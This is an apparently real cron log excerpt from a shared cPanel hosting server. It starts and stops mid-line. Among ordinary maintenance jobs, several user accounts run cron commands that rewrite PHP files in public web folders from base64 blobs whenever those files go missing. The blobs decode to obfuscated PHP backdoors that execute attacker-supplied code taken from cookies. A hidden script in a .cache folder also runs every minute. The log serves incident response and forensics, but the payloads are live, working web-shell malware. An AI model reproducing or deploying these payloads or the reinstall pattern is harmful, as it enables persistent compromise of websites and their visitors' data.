ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:25:01 medusa CROND[22555]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:25:01 medusa CROND[22556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:25:01 medusa CROND[22557]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:25:01 medusa CROND[22570]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:25:01 medusa CROND[22572]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:25:01 medusa CROND[22574]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:25:01 medusa CROND[22573]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:25:01 medusa CROND[22577]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:25:01 medusa CROND[22578]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 20:25:01 medusa CROND[22579]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:25:01 medusa CROND[22581]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:25:01 medusa CROND[22583]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:25:01 medusa CROND[22587]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:25:01 medusa CROND[22586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:25:01 medusa CROND[22580]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:25:01 medusa CROND[22571]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:26:02 medusa CROND[9170]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:26:02 medusa CROND[9169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:26:02 medusa CROND[9171]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:26:02 medusa CROND[9172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:26:02 medusa CROND[9173]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:26:02 medusa CROND[9176]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:26:02 medusa CROND[9177]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:26:02 medusa CROND[9180]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:26:02 medusa CROND[9181]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:26:02 medusa CROND[9184]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:26:02 medusa CROND[9186]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:26:02 medusa CROND[9209]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:26:02 medusa CROND[9215]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:26:02 medusa CROND[9219]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:27:01 medusa CROND[24493]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:27:02 medusa CROND[24696]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:27:02 medusa CROND[24766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:27:02 medusa CROND[24768]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:27:02 medusa CROND[24769]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:27:02 medusa CROND[24770]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:27:02 medusa CROND[24771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:27:02 medusa CROND[24775]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICA